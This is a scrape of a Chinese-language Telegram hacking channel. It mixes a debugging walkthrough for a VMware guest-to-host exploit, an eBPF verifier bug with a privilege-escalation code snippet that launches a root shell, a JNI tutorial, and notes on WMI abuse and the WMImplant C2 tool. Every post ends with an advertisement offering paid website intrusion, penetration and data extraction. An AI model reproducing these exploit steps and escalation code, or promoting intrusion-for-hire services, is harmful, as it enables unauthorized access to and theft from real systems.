黑客网站渗透入侵破解拿权限
10.4K subscribers
2.39K photos
108 links
Download Telegram
Gdb调试
先正常启动guest 然后在host机中启动
sudo gdb /usr/lib/vmware/bin/vmware-vmx -q
使用ps -aux | grep vmware-vmx得到进程pid

在启动的gdb 中attach上去
(ps:这里有概率失败,我的处理办法是重启再开一次)

获取此时vmware-vmx的基址
输入codebase

此时将断点设在patch的位置

通过ssh远程连接guest执行exp

此是到达了patch中nop的位置

第一次达到,查看堆信息.因为发了0x100字节的信息,再加上堆块的一些size等8字节信息,此时大小未0x110
该地址就是bufA的位置

最后会将基址写到bufA的位置,但这里很奇怪的是,没有挂gdb泄露出的基址是正确的,也可以弹出计算器,但有时gdb一步步调试,泄露出的基地址是不对的,最后执行也会失败,这种情况可以多调试几次。可以确定该位置就是buf,之后所有的操作都是基于这一块内存进行操作

最后就是类似地劫持fd,把tcache的fd改到bss段,然后改函数指针为system,最后弹calculator
到达expilot部分的内存
断点可以设置在很多地方
比如设在codebase+0x1895AF的地方,这里的rdx寄存器存放的就是此时写入的地址,因为每次只能写4个字节,调试消耗的时间比较久

/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我
@MoA_Ke
在写eBPF程序时,对于bpf_map_lookup_elem()返回的结果,一定要判断是否为NULL,否则就会被验证器拒绝加载。这是因为bpf_map_lookup_elem()运行结果的结果有可能是NULL,这种情况表示没有查找到与key相关的值。如果不进行判断,那么接下来的代码就有可能引用了一个空指针,这是非常危险的操作。
那么,验证器是如何知道我们是否判断以及什么时候判断了结果是否为NULL呢?我们来看相关的实现代码。

/* types of values stored in eBPF registers */
/* Pointer types represent:
* pointer
* pointer + imm
* pointer + (u16) var
* pointer + (u16) var + imm
* if (range > 0) then [ptr, ptr + range - off) is safe to access
* if (id > 0) means that some 'var' was added
* if (off > 0) means that 'imm' was added
*/
enum bpf_reg_type {
NOT_INIT = 0, /* nothing was written into register */
SCALAR_VALUE, /* reg doesn't contain a valid pointer */
PTR_TO_CTX, /* reg points to bpf_context */
CONST_PTR_TO_MAP, /* reg points to struct bpf_map */
PTR_TO_MAP_VALUE, /* reg points to map element value */
PTR_TO_MAP_VALUE_OR_NULL, /* points to map elem value or NULL */
PTR_TO_STACK, /* reg == frame_pointer + offset */
PTR_TO_PACKET_META, /* skb->data - meta_len */
PTR_TO_PACKET, /* reg points to skb->data */
PTR_TO_PACKET_END, /* skb->data + headlen */
PTR_TO_FLOW_KEYS, /* reg points to bpf_flow_keys */
PTR_TO_SOCKET, /* reg points to struct bpf_sock */
PTR_TO_SOCKET_OR_NULL, /* reg points to struct bpf_sock or NULL */
PTR_TO_SOCK_COMMON, /* reg points to sock_common */
PTR_TO_SOCK_COMMON_OR_NULL, /* reg points to sock_common or NULL */
PTR_TO_TCP_SOCK, /* reg points to struct tcp_sock */
PTR_TO_TCP_SOCK_OR_NULL, /* reg points to struct tcp_sock or NULL */
PTR_TO_TP_BUFFER, /* reg points to a writable raw tp's buffer */
PTR_TO_XDP_SOCK, /* reg points to struct xdp_sock */
/* PTR_TO_BTF_ID points to a kernel struct that does not need
* to be null checked by the BPF program. This does not imply the
* pointer is _not_ null and in practice this can easily be a null
* pointer when reading pointer chains. The assumption is program
* context will handle null pointer dereference typically via fault
* handling. The verifier must keep this in mind and can make no
* assumptions about null or non-null when doing branch analysis.
* Further, when passed into helpers the helpers can not, without
* additional context, assume the value is non-null.
*/
PTR_TO_BTF_ID,
/* PTR_TO_BTF_ID_OR_NULL points to a kernel struct that has not
* been checked for null. Used primarily to inform the verifier
* an explicit null check is required for this struct.
*/
PTR_TO_BTF_ID_OR_NULL,
PTR_TO_MEM, /* reg points to valid memory region */
PTR_TO_MEM_OR_NULL, /* reg points to valid memory region or NULL */
PTR_TO_RDONLY_BUF, /* reg points to a readonly buffer */
PTR_TO_RDONLY_BUF_OR_NULL, /* reg points to a readonly buffer or NULL */
PTR_TO_RDWR_BUF, /* reg points to a read/write buffer */
PTR_TO_RDWR_BUF_OR_NULL, /* reg points to a read/write buffer or NULL */
PTR_TO_PERCPU_BTF_ID, /* reg points to a percpu kernel variable */
};

通过代码我们可知它通过“*_OR_NULL”类型来表示一个未经NULL判断的指针类型。当寄存器的类型是“*_OR_NULL”时,他只能进行非常有限的操作。只有当类型为“*_OR_NULL”的寄存器做完NULL比较后,才可能变为普通的指针,也就是“PTR_TO_*”类型。
其中adjust_ptr_min_max_vals()是eBPF验证其用于检验指针加减运算的函数。这段代码使用switch来过滤不支持加减运算的指针类型,比如各种“*_OR_NULL”类型。但是这段代码里却少了很多类型的判断。这意味着,我们可以对这些少了的类型做加减运算,其中就包括一部分“*_OR_NULL”类型。
提权过程:

int spawn_processes(context_t *ctx)
{
for (int i = 0; i < PROC_NUM; i++)
{
pid_t child = fork();
if (child == 0) {
if (prctl(PR_SET_NAME, __ID__, 0, 0, 0) != 0) {
WARNF("Could not set name");
}
uid_t old = getuid();
kill(getpid(), SIGSTOP);
uid_t uid = getuid();
if (uid == 0 && old != uid) {
OKF("Enjoy root!");
system("/bin/sh");
}
exit(uid);
}
if (child < 0) {
return child;
}
ctx->processes[i] = child;
}

return 0;
}

/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我
@MoA_Ke
JNI (Java Native Interface,JAVA 本地接口) 允许 Java 代码和其它编程语言编写的代码进行交互,主要为Java和Native层(C/C++)相互调用的接口规范,但是并不妨碍扩展其他语言。 JNI 在 Java1.1 中正式推出,在 Java1.2 中加入了JNI_OnLoad和JNI_OnUnload方法。

JNI 设计交互 Native层 C/C++ 代码的主要优点为:特定功能场景下,提升应用性能;代码层保护,增加反编译难度;Native库文件,可重复使用及不同项目间扩展移植。说完优点那么唯一的一个缺点就是C/C++代码编译生成的动态链接库不可跨平台使用。

正常情况下编写的Java代码是不能直接调用C/C++代码,需要通过JNI标准接口进行间接调用访问。Java代码要想使用JNI调用Native层C/C++代码就需要先向JVM注册Native函数,其注册主要分为静态注册和动态注册两大类,通过注册可实现 Java Native 方法与 C/C++ 方法的对应关系。静态和动态注册主要区别在于查找效率:静态注册,首次调用Java Native方法时,会按照JNI命名规则去寻找;而动态注册,由于存在一张映射表JNINativeMethod,因此查找效率高。最终,无论静态注册方法,还是动态注册方法,都需要将相应的C/C++文件编译成平台所需要的动态库。

package org.qftm.learn.jni.demo1;

/**
* Created by IntelliJ IDEA.
* User: Qftm
* Date: 2022/5/11
* Time: 17:36
*/

public class IntSum {
// 声明 native 本地函数
public native int sums(int num1, int num2);
// 静态代码块,加载动态链接库
static {
System.loadLibrary("IntSum");
}


    public static void main(String[] args) {
// 实例化调用 native 本地函数
System.out.println((new IntSum()).sums(10, 5));
}
}


利用 javah 生成编译native库所需的相应 .h 头文件,javah 会自动识别 class 文件里声明的 java native 本地方法并进行解析处理生成相应 .h 头文件 (也可以根据JNI静态注册规则手动编写头文件)

查看 javah 处理生成的 IntSum.h 头文件并进行分析,其中定义了一个JNI Native调用的 C/C++方法Java_org_qftm_learn_jni_demo1_IntSum_sums,可以看到方法结构与Java方法类似,同样包含方法名、参数、返回类型、修饰符

默认javah解析生成的JNI头文件中,C/C++ 函数都为JNI Native对应的静态注册函数,其通过 JNIEXPORT 和 JNICALL 两个宏定义声明。除了两个宏定义外,函数还存在返回类型和方法名及函数参数,其中静态注册函数名遵循特定JNI命名规范,即为Java_<PackageName>_<ClassName>_<MethodName>,这里需要注意下,如果Java代码声明的本地方法名称中本来就包含下划线,那么该部分将使用下划线加数字替换。另外会发现函数多了两个类型参数JNIEnv *和jobject,这两个参数由javah自动添加,并且其参数值由虚拟机自动传入。

/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我
@MoA_Ke
JNIEXPORT由hidden属性描述,则被JNIEXPORT修饰的C/C++函数 attribute((visibility("hidden"))) jdouble JNICALL Java_org_qftm_learn_jni_demo1_IntSum_sums(JNIEnv*, jobject, jint, jint); 将不会出现在导出表里面,那么JNI静态注册的Native函数被JNI静态调用规则调用时就无法在相应动态链接库的导出表内找到对应的C/C++函数,导致JNI静态规则调用失败;另外,如果Java Native函数对应的C/C++函数没有通过正常的JNIEXPORT修饰(即:去掉JNIEXPORT关键字),那么该C/C++函数同样不会出现在导出表里面,也就无法被JNI静态注册调用规则正常调用,但是可以利用JNI动态注册调用。

JNICALL 用来表示C/C++函数的调用规范(如:__stdcall、__cdecl、__fastcall),Linux下JNICALL右边是空的,说明只是个空定义,库文件代码可以直接使用右边的内容(空)替换调JNICALL(即:去掉JNICALL关键字)
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <stdio.h>
#include "intsum.h"

// JNIEnv *env 为JVM环境指针, 用于和JVM交互、jobject obj 表示当前操作的对象
JNIEXPORT jdouble JNICALL Java_org_qftm_learn_jni_demo1_IntSum_sums(JNIEnv* env, jobject obj, jint num1, jint num2) {
return num1+num2;
}

点击导航栏的生成 => 生成解决方案,即可生成所需的 dll 动态链接库,将 Windows DLL 项目生成的 dll 拷贝到 Java JNI 项目下,并测试通过 Java JNI 调用静态 Native 函数

通过上面可以发现,java代码native函数和dll代码里面c/c++函数声明的差异

// java
public native double sums(int num1, int num2);

// c++
JNIEXPORT jdouble JNICALL Java_org_qftm_learn_jni_demo1_IntSum_sums(JNIEnv*, jobject, jint, jint);

通过对比可以发现java native sums函数名在c++中变得很长,这跟JNI native函数注册方式有关,这里使用的是JNI Native静态函数注册,而JNI Native静态注册在编写动态链接库C++代码中必须按照JNI接口规范的命名规则注册,即java native函数对应的C/C++函数名为Java_<PackageName>_<ClassName>_<MethodName>。那么,当我们在Java中调用静态Native方法时,JVM 就会根据JNI命名规则来查找相应dll库的导出表,即调用Java静态Native方法所对应的 C/C++ 方法。
JNIENV 直译为 JNI 环境,和具体线程相关。函数默认的第一个参数JNIEnv *env由虚拟机自动传入,通过JNIEnv * 指针可以对 Java 层代码进行操作,如:获取Java类/父类Class对象、创建Java对象、调用Java对象的方法等。

/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我
@MoA_Ke
Windows Management Instrumentation(Windows 管理规范) 即WMI,是微软实现的基于Web的企业管理(WBEM)。WMI使用通用信息模型(CIM)来表示系统、应用程序、网络、设备和其他托管组件。WMI支持本地和远程访问。WMI底层基于分布式组件对象模型(DCOM)或者Windows远程管理(WinRM)。程序员们可以使用脚本语言(例如powershell),或者C++,通过COM技术与WMI进行交互。本文行文仓促,如有错误,请各位积极指正。

由于WMI的特殊性,WMI可以被广泛的滥用于MITER ATT&CK矩阵中,包括执行,持久化,防御逃避,侦查,横向移动,命令控制。

在[执行]战术中,ATT&CK专门安排了一个技术点专门介绍Windows行为规范T1047。WMI可以通过命令和脚本解释器powershell(T1059.001)进行交互,并且其通信是基于对象组件模型(T1559.001)。并且可以通过Win32_ScheduledJob类创建计划任务(T1053),但这已经不能在Win7以上系统中使用了。

在[持久化]战术中,可以通过WMI事件订阅(T1546.003)安装筛选器和事件消费者实现持久化。WMI具有远程连接的能力,即外部远程服务(T1133)。并且可以通过注册表在Run键下面创建启动项(T1547.001)

在[防御逃避]中,可以利用WMI通过修改注册表(T1112)的方式禁用或修改工具(T1562.001),也可以通过Win32_Process类间接创建进程,通过WMI创建的进行其父进程应该为WMI提供者进程(T1202)。

在[侦查]中,可以获取系统各方面的信息,可以利用Win32_UserAccount,Win32_LoggedOnUser获取账户信息(T1087)。使用Win32_Directory类获取文件信息(T1083)。使用Win32_Process类获取进程信息(T1057),使用Win32_OperatingSystem,Win32_SystemResourcesetc类进行系统信息侦查(T1082)等等

根据windows在WMI 架构知识文档中所述,WMI架构主要包括3个部分,WMI消费者,WMI基础架构,WMI提供者和托管对象。

/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我
@MoA_Ke
WMI攻击
Windows提供了多种和WMI进行交互的方式,例如通过powershell或者VBScript等脚本语言进行交互,比如利用c++通过COM API进行交互,利用C#,通过System.Management命名空间下的几个类和WMI进行交互,除此以外,还有几款成熟的工具用来和WMI进行交互,例如wmic.exe。

本文将以WMImplant为例,介绍WMI攻击的原理。WMImplant是一个基于PowerShell的工具,它利用WMI来对目标机器执行操作,而且还作为C2通道来发出命令和接收结果。WMImplant的主要功能有文件操作,横向移动,进程操作,系统操作,以及日志操作。

PowerShell有很多和WMI交互的函数,WMImplant使用的函数主要有如下几个函数。当然,WMImplant使用这些WMI函数,并没有使用CIM函数,因为函数命令是基于低版本的Powershell,而CIM函数只能用于V3以上的版本,但是CIM函数能支持DCOM协议和WinRM协议,而WMI函数只支持DCOM协议。
Get-WmiObject
Set-WmiInstance
Invoke-WmiMethod

WMImplant用法很简单,只需要知道目标及其的ComputerName,以及管理员Credential。使用Import-Module .\WMImplant.ps1和Invoke-WMImplant两条命令启动WMImplant。

然后使用change_user命令设置domain/user和password。

WMImplant的文件操作主要有一下操作,其中,经常使用的有cat命令,download命令,ls命令,upload命令。

cat                                 -   Reads the contents of a file
copy - Copies a file from one location to another
download - Download a file from the targeted machine
ls - File/Directory listing of a specific directory
search - Search for a file on a user-specified drive
upload - Upload a file to the targeted machine

ls命令的主要作用是列举指定目录下的目录和文件,依次指定指定的ComputerName和目录。其基本原理是从Win32_Directory类中获取目录的信息。

/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我
@MoA_Ke
1